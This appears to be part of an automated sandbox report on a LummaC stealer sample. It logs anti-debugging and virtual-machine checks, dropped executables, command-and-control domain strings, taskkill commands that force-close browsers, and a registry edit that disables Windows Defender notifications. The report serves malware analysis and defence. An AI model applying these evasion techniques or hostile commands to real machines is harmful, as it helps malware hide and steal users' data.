Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 3796	Thread sleep count: 66 > 30	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 3796	Thread sleep time: -132066s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 2792	Thread sleep count: 51 > 30	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 2792	Thread sleep time: -102051s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 1460	Thread sleep time: -32000s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 6308	Thread sleep count: 356 > 30	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 6308	Thread sleep time: -10680000s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 1700	Thread sleep count: 1697 > 30	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 1700	Thread sleep time: -3395697s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 4888	Thread sleep time: -360000s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 1700	Thread sleep count: 2174 > 30	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 1700	Thread sleep time: -4350174s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002605001\7f3598dc65.exe TID: 4228	Thread sleep time: -30000s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002605001\7f3598dc65.exe TID: 2228	Thread sleep time: -60000s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\RIT5CLJSOG1HZLWAHXIC60.exe TID: 7232	Thread sleep time: -922337203685477s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\CR7UQWGVREF7AZUSI54N0N8MGR.exe TID: 1784	Thread sleep time: -922337203685477s >= -30000s

Source: C:\Users\user\Desktop\file.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT * FROM Win32_BIOS
Source: C:\Users\user\AppData\Local\Temp\1002605001\7f3598dc65.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT * FROM Win32_BIOS
Source: C:\Users\user\AppData\Local\Temp\1002605001\7f3598dc65.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT * FROM Win32_BIOS

Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed

Source: C:\Users\user\AppData\Local\Temp\AJK1SC9862O5LRO4.exe

File Volume queried: C:\ FullSizeInformation

Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\GVDV7NGS54W9A7T64.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Thread delayed: delay time: 30000	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Thread delayed: delay time: 180000	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RIT5CLJSOG1HZLWAHXIC60.exe	Thread delayed: delay time: 922337203685477
Source: C:\Users\user\AppData\Local\Temp\CR7UQWGVREF7AZUSI54N0N8MGR.exe	Thread delayed: delay time: 922337203685477

Source: file.exe, 00000000.00000000.1676624966.000000000052A000.00000080.00000001.01000000.00000003.sdmp, file.exe, 00000000.00000003.1683609943.000000000514D000.00000004.00000800.00020000.00000000.sdmp, GVDV7NGS54W9A7T64.exe, GVDV7NGS54W9A7T64.exe, 00000004.00000002.2174884320.0000000001171000.00000040.00000001.01000000.00000006.sdmp, AJK1SC9862O5LRO4.exe, AJK1SC9862O5LRO4.exe, 00000005.00000002.2096642786.0000000000F96000.00000040.00000001.01000000.00000007.sdmp, skotes.exe, skotes.exe, 00000007.00000002.2142691588.0000000000F16000.00000040.00000001.01000000.0000000C.sdmp, 7f3598dc65.exe, 00000008.00000000.2187732214.0000000000EAA000.00000080.00000001.01000000.0000000E.sdmp, 7f3598dc65.exe, 00000008.00000003.2194475860.000000000509A000.00000004.00000800.00020000.00000000.sdmp, 606111e8b5.exe, 00000009.00000002.2309694023.00000000013E3000.00000040.00000001.01000000.0000000F.sdmp, skotes.exe, 0000000A.00000002.2336389961.0000000000F16000.00000040.00000001.01000000.0000000C.sdmp, 7f3598dc65.exe, 00000010.00000000.2317892611.0000000000EAA000.00000080.00000001.01000000.0000000E.sdmp	Binary or memory string: HARDWARE\ACPI\DSDT\VBOX__
Source: num.exe, 0000001A.00000002.2363112803.000000000159E000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: VMwareVMware@
Source: AJK1SC9862O5LRO4.exe, 00000005.00000003.2062890324.000000000189D000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: \\?\STORAGE#Volume#{a33c735c-61ca-11ee-8c18-806e6f6e6963}#0000000000100000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\STORAGE#Volume#{a33c735c-61ca-11ee-8c18-806e6f6e6963}#0000000C5E500000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\STORAGE#Volume#{a33c735c-61ca-11ee-8c18-806e6f6e6963}#0000000007500000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#4&224f42ef&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}
Source: 606111e8b5.exe, 00000009.00000002.2310828358.0000000001AEE000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: VMwareVMwareB
Source: 7f3598dc65.exe, 00000010.00000003.2409524653.0000000000681000.00000004.00000020.00020000.00000000.sdmp, 7f3598dc65.exe, 00000010.00000003.2422151331.0000000000681000.00000004.00000020.00020000.00000000.sdmp, 7f3598dc65.exe, 00000010.00000003.2470951656.000000000068E000.00000004.00000020.00020000.00000000.sdmp, 7f3598dc65.exe, 00000010.00000003.2376427706.0000000000682000.00000004.00000020.00020000.00000000.sdmp, 7f3598dc65.exe, 00000010.00000003.2389013409.000000000067E000.00000004.00000020.00020000.00000000.sdmp, 7f3598dc65.exe, 00000010.00000003.2366019019.000000000067E000.00000004.00000020.00020000.00000000.sdmp, 7f3598dc65.exe, 00000010.00000003.2474250062.0000000000690000.00000004.00000020.00020000.00000000.sdmp, 7f3598dc65.exe, 00000010.00000003.2426207049.0000000000682000.00000004.00000020.00020000.00000000.sdmp, 7f3598dc65.exe, 00000010.00000003.2452134408.0000000000682000.00000004.00000020.00020000.00000000.sdmp, 7f3598dc65.exe, 00000010.00000003.2470591112.0000000000688000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: hgFsn3hFmxmJgybYvdB7AhqESpITJByIQVm1bOGkkd4
Source: firefox.exe, 00000019.00000002.2526675937.000002B9A66A0000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW@Oo
Source: file.exe, 00000000.00000003.2011418122.000000000108A000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1699790064.0000000001086000.00000004.00000020.00020000.00000000.sdmp, 606111e8b5.exe, 00000009.00000002.2310828358.0000000001B72000.00000004.00000020.00020000.00000000.sdmp, 606111e8b5.exe, 00000009.00000002.2310828358.0000000001B34000.00000004.00000020.00020000.00000000.sdmp, 7f3598dc65.exe, 00000010.00000003.2493833080.000000000061D000.00000004.00000020.00020000.00000000.sdmp, 7f3598dc65.exe, 00000010.00000003.2548960148.000000000061D000.00000004.00000020.00020000.00000000.sdmp, 7f3598dc65.exe, 00000010.00000003.2548960148.000000000062E000.00000004.00000020.00020000.00000000.sdmp, 7f3598dc65.exe, 00000010.00000003.2389541459.000000000061D000.00000004.00000020.00020000.00000000.sdmp, 7f3598dc65.exe, 00000010.00000003.2426207049.000000000061D000.00000004.00000020.00020000.00000000.sdmp, 7f3598dc65.exe, 00000010.00000003.2453756158.000000000061D000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW
Source: 606111e8b5.exe, 0000001D.00000002.2516702387.0000000000B8B000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: VMwareVMware
Source: firefox.exe, 00000019.00000002.2532776843.000002B9B07B2000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2506916049.00000274E3C21000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW : 2 : 34 : 1 : 1 : 0x20026 : 0x8 : %SystemRoot%\system32\mswsock.dll : : 1234191b-4bf7-4ca7-86e0-dfd7c32b5445
Source: num.exe, 0000001A.00000002.2363112803.00000000015CE000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAWhE`
Source: firefox.exe, 0000001C.00000002.2507635643.00000274E4040000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dll!5
Source: file.exe, 00000000.00000003.2011455939.0000000001064000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAWL
Source: firefox.exe, 00000019.00000002.2526675937.000002B9A66F2000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RA
Source: num.exe, 0000001A.00000002.2363112803.00000000015FD000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW>
Source: 606111e8b5.exe, 0000001D.00000002.2516702387.0000000000BFC000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAWH9M&
Source: file.exe, 00000000.00000000.1676624966.000000000052A000.00000080.00000001.01000000.00000003.sdmp, file.exe, 00000000.00000003.1683609943.000000000514D000.00000004.00000800.00020000.00000000.sdmp, GVDV7NGS54W9A7T64.exe, 00000004.00000002.2174884320.0000000001171000.00000040.00000001.01000000.00000006.sdmp, AJK1SC9862O5LRO4.exe, 00000005.00000002.2096642786.0000000000F96000.00000040.00000001.01000000.00000007.sdmp, skotes.exe, 00000007.00000002.2142691588.0000000000F16000.00000040.00000001.01000000.0000000C.sdmp, 7f3598dc65.exe, 00000008.00000000.2187732214.0000000000EAA000.00000080.00000001.01000000.0000000E.sdmp, 7f3598dc65.exe, 00000008.00000003.2194475860.000000000509A000.00000004.00000800.00020000.00000000.sdmp, 606111e8b5.exe, 00000009.00000002.2309694023.00000000013E3000.00000040.00000001.01000000.0000000F.sdmp, skotes.exe, 0000000A.00000002.2336389961.0000000000F16000.00000040.00000001.01000000.0000000C.sdmp, 7f3598dc65.exe, 00000010.00000000.2317892611.0000000000EAA000.00000080.00000001.01000000.0000000E.sdmp	Binary or memory string: Restart now?\\.\Oreans.vxd%s\Oreans.vxdXprotEventHARDWARE\ACPI\DSDT\VBOX__SeShutdownPrivilegeSoftware\WinLicenseCreateEvent API Error while extraction the driverGetEnvironmentVariable API Error while extraction the driverOpenSCManager API Error while extraction the driverCreateService API Error while extraction the driverCloseServiceHandle API Error while extraction the driverOpenService API Error while extraction the driverStartService API Error while extraction the driverAPIC error: Cannot find Processors Control Blocks. Please,
Source: firefox.exe, 0000001C.00000002.2507635643.00000274E4040000.00000004.00000020.00020000.00000000.sdmp, firefox.exe, 0000001E.00000002.2519765281.000002941A0F0000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dll

Source: C:\Users\user\Desktop\file.exe

System information queried: ModuleInformation

Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Process information queried: ProcessInformation

Jump to behavior

Anti Debugging

Hides threads from debuggers

Source: C:\Users\user\Desktop\file.exe	Thread information set: HideFromDebugger	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\GVDV7NGS54W9A7T64.exe	Thread information set: HideFromDebugger	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\AJK1SC9862O5LRO4.exe	Thread information set: HideFromDebugger	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Thread information set: HideFromDebugger	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Thread information set: HideFromDebugger	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002605001\7f3598dc65.exe	Thread information set: HideFromDebugger	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002606001\606111e8b5.exe	Thread information set: HideFromDebugger
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Thread information set: HideFromDebugger
Source: C:\Users\user\AppData\Local\Temp\1002605001\7f3598dc65.exe	Thread information set: HideFromDebugger
Source: C:\Users\user\AppData\Local\Temp\1002606001\606111e8b5.exe	Thread information set: HideFromDebugger
Source: C:\Users\user\AppData\Local\Temp\RIT5CLJSOG1HZLWAHXIC60.exe	Thread information set: HideFromDebugger
Source: C:\Users\user\AppData\Local\Temp\WQDKVI4V7797JCIA8ZKVR40QNCXFHXH.exe	Thread information set: HideFromDebugger
Source: C:\Users\user\AppData\Local\Temp\CR7UQWGVREF7AZUSI54N0N8MGR.exe	Thread information set: HideFromDebugger
Source: C:\Users\user\AppData\Local\Temp\D0QMSIUHN1DMZFTBB2S7.exe	Thread information set: HideFromDebugger

Potentially malicious time measurement code found

Source: C:\Users\user\AppData\Local\Temp\GVDV7NGS54W9A7T64.exe	Code function: 4_2_0116C807 Start: 0116C89A End: 0116C82E		4_2_0116C807
Source: C:\Users\user\AppData\Local\Temp\AJK1SC9862O5LRO4.exe	Code function: 5_2_05580EE5 Start: 05580F84 End: 05580EB9		5_2_05580EE5

Tries to detect sandboxes and other dynamic analysis tools (window names)

Source: C:\Users\user\AppData\Local\Temp\D0QMSIUHN1DMZFTBB2S7.exe	Open window title or class name: regmonclass
Source: C:\Users\user\AppData\Local\Temp\D0QMSIUHN1DMZFTBB2S7.exe	Open window title or class name: gbdyllo
Source: C:\Users\user\AppData\Local\Temp\D0QMSIUHN1DMZFTBB2S7.exe	Open window title or class name: process monitor - sysinternals: www.sysinternals.com
Source: C:\Users\user\AppData\Local\Temp\D0QMSIUHN1DMZFTBB2S7.exe	Open window title or class name: procmon_window_class
Source: C:\Users\user\AppData\Local\Temp\D0QMSIUHN1DMZFTBB2S7.exe	Open window title or class name: registry monitor - sysinternals: www.sysinternals.com
Source: C:\Users\user\AppData\Local\Temp\D0QMSIUHN1DMZFTBB2S7.exe	Open window title or class name: ollydbg
Source: C:\Users\user\AppData\Local\Temp\D0QMSIUHN1DMZFTBB2S7.exe	Open window title or class name: filemonclass
Source: C:\Users\user\AppData\Local\Temp\D0QMSIUHN1DMZFTBB2S7.exe	Open window title or class name: file monitor - sysinternals: www.sysinternals.com

Source: C:\Users\user\AppData\Local\Temp\D0QMSIUHN1DMZFTBB2S7.exe	File opened: NTICE
Source: C:\Users\user\AppData\Local\Temp\D0QMSIUHN1DMZFTBB2S7.exe	File opened: SICE
Source: C:\Users\user\AppData\Local\Temp\D0QMSIUHN1DMZFTBB2S7.exe	File opened: SIWVID

Source: C:\Users\user\Desktop\file.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\GVDV7NGS54W9A7T64.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\GVDV7NGS54W9A7T64.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\GVDV7NGS54W9A7T64.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\AJK1SC9862O5LRO4.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\AJK1SC9862O5LRO4.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\AJK1SC9862O5LRO4.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002605001\7f3598dc65.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002605001\7f3598dc65.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002605001\7f3598dc65.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002606001\606111e8b5.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1002606001\606111e8b5.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1002606001\606111e8b5.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1002605001\7f3598dc65.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1002605001\7f3598dc65.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1002605001\7f3598dc65.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1002606001\606111e8b5.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1002606001\606111e8b5.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1002606001\606111e8b5.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\RIT5CLJSOG1HZLWAHXIC60.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\RIT5CLJSOG1HZLWAHXIC60.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\RIT5CLJSOG1HZLWAHXIC60.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\WQDKVI4V7797JCIA8ZKVR40QNCXFHXH.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\WQDKVI4V7797JCIA8ZKVR40QNCXFHXH.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\WQDKVI4V7797JCIA8ZKVR40QNCXFHXH.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\CR7UQWGVREF7AZUSI54N0N8MGR.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\CR7UQWGVREF7AZUSI54N0N8MGR.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\CR7UQWGVREF7AZUSI54N0N8MGR.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\D0QMSIUHN1DMZFTBB2S7.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\D0QMSIUHN1DMZFTBB2S7.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\D0QMSIUHN1DMZFTBB2S7.exe	Process queried: DebugPort

Source: C:\Users\user\AppData\Local\Temp\GVDV7NGS54W9A7T64.exe

Code function: 4_2_0116C6A2 rdtsc

4_2_0116C6A2

Source: C:\Users\user\AppData\Local\Temp\GVDV7NGS54W9A7T64.exe

Code function: 4_2_00FDB7EA LdrInitializeThunk,

4_2_00FDB7EA

Source: C:\Users\user\AppData\Local\Temp\GVDV7NGS54W9A7T64.exe	Process token adjusted: Debug	Jump to behavior
Source: C:\Windows\SysWOW64\taskkill.exe	Process token adjusted: Debug
Source: C:\Windows\SysWOW64\taskkill.exe	Process token adjusted: Debug
Source: C:\Windows\SysWOW64\taskkill.exe	Process token adjusted: Debug
Source: C:\Windows\SysWOW64\taskkill.exe	Process token adjusted: Debug
Source: C:\Windows\SysWOW64\taskkill.exe	Process token adjusted: Debug
Source: C:\Users\user\AppData\Local\Temp\RIT5CLJSOG1HZLWAHXIC60.exe	Process token adjusted: Debug

Source: C:\Users\user\AppData\Local\Temp\GVDV7NGS54W9A7T64.exe

Memory allocated: page read and write | page guard

Jump to behavior

HIPS / PFW / Operating System Protection Evasion

Yara detected Powershell download and execute

Source: Yara match	File source: Process Memory Space: 606111e8b5.exe PID: 2496, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: num.exe PID: 6316, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: 606111e8b5.exe PID: 6376, type: MEMORYSTR

LummaC encrypted strings found

Source: file.exe, 00000000.00000003.1683156529.0000000004DC0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: scriptyprefej.store
Source: file.exe, 00000000.00000003.1683156529.0000000004DC0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: navygenerayk.store
Source: file.exe, 00000000.00000003.1683156529.0000000004DC0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: founpiuer.store
Source: file.exe, 00000000.00000003.1683156529.0000000004DC0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: necklacedmny.store
Source: file.exe, 00000000.00000003.1683156529.0000000004DC0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: thumbystriw.store
Source: file.exe, 00000000.00000003.1683156529.0000000004DC0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: fadehairucw.store
Source: file.exe, 00000000.00000003.1683156529.0000000004DC0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: crisiwarny.store
Source: file.exe, 00000000.00000003.1683156529.0000000004DC0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: presticitpo.store

Source: C:\Users\user\AppData\Local\Temp\AJK1SC9862O5LRO4.exe	Process created: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe "C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1002605001\7f3598dc65.exe "C:\Users\user\AppData\Local\Temp\1002605001\7f3598dc65.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1002606001\606111e8b5.exe "C:\Users\user\AppData\Local\Temp\1002606001\606111e8b5.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1002607001\dd62608cd9.exe "C:\Users\user\AppData\Local\Temp\1002607001\dd62608cd9.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1002608001\num.exe "C:\Users\user\AppData\Local\Temp\1002608001\num.exe"	Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\1002607001\dd62608cd9.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM firefox.exe /T
Source: C:\Users\user\AppData\Local\Temp\1002607001\dd62608cd9.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM chrome.exe /T
Source: C:\Users\user\AppData\Local\Temp\1002607001\dd62608cd9.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM msedge.exe /T
Source: C:\Users\user\AppData\Local\Temp\1002607001\dd62608cd9.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM opera.exe /T
Source: C:\Users\user\AppData\Local\Temp\1002607001\dd62608cd9.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM brave.exe /T
Source: C:\Users\user\AppData\Local\Temp\1002607001\dd62608cd9.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM firefox.exe /T
Source: C:\Users\user\AppData\Local\Temp\1002607001\dd62608cd9.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM chrome.exe /T
Source: C:\Users\user\AppData\Local\Temp\1002607001\dd62608cd9.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM msedge.exe /T
Source: C:\Users\user\AppData\Local\Temp\1002607001\dd62608cd9.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM opera.exe /T
Source: C:\Users\user\AppData\Local\Temp\1002607001\dd62608cd9.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM brave.exe /T

Source: dd62608cd9.exe, 0000000B.00000000.2291841633.0000000000D12000.00000002.00000001.01000000.00000010.sdmp	Binary or memory string: Run Script:AutoIt script files (.au3, .a3x).au3;.a3xAll files (.).au3#include depth exceeded. Make sure there are no recursive includesError opening the file>>>AUTOIT SCRIPT<<<Bad directive syntax errorUnterminated stringCannot parse #includeUnterminated group of commentsONOFF0%d%dShell_TrayWndREMOVEKEYSEXISTSAPPENDblankinfoquestionstopwarning
Source: AJK1SC9862O5LRO4.exe, 00000005.00000002.2096642786.0000000000F96000.00000040.00000001.01000000.00000007.sdmp, skotes.exe, 00000007.00000002.2142691588.0000000000F16000.00000040.00000001.01000000.0000000C.sdmp, skotes.exe, 0000000A.00000002.2336389961.0000000000F16000.00000040.00000001.01000000.0000000C.sdmp	Binary or memory string: a!Program Manager
Source: GVDV7NGS54W9A7T64.exe, GVDV7NGS54W9A7T64.exe, 00000004.00000002.2175381493.00000000011CD000.00000040.00000001.01000000.00000006.sdmp	Binary or memory string: \|vProgram Manager
Source: 606111e8b5.exe, 00000009.00000002.2309694023.00000000013E3000.00000040.00000001.01000000.0000000F.sdmp	Binary or memory string: C@Program Manager
Source: firefox.exe, 00000019.00000002.2508235286.000000E699DFB000.00000004.00000010.00020000.00000000.sdmp	Binary or memory string: ?ProgmanListenerWi
Source: AJK1SC9862O5LRO4.exe, skotes.exe	Binary or memory string: a!Program Manager

Source: C:\Users\user\Desktop\file.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1002605001\7f3598dc65.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1002605001\7f3598dc65.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1002606001\606111e8b5.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1002606001\606111e8b5.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1002607001\dd62608cd9.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1002607001\dd62608cd9.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1002608001\num.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1002608001\num.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002605001\7f3598dc65.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002606001\606111e8b5.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1002605001\7f3598dc65.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1002608001\num.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1002606001\606111e8b5.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1002608001\num.exe	Queries volume information: C:\ VolumeInformation

Source: C:\Users\user\Desktop\file.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Lowering of HIPS / PFW / Operating System Security Settings

Disable Windows Defender notifications (registry)

Source: C:\Users\user\AppData\Local\Temp\GVDV7NGS54W9A7T64.exe

Registry key value created / modified: HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender Security Center\Notifications DisableNotifications 1

Jump to behavior

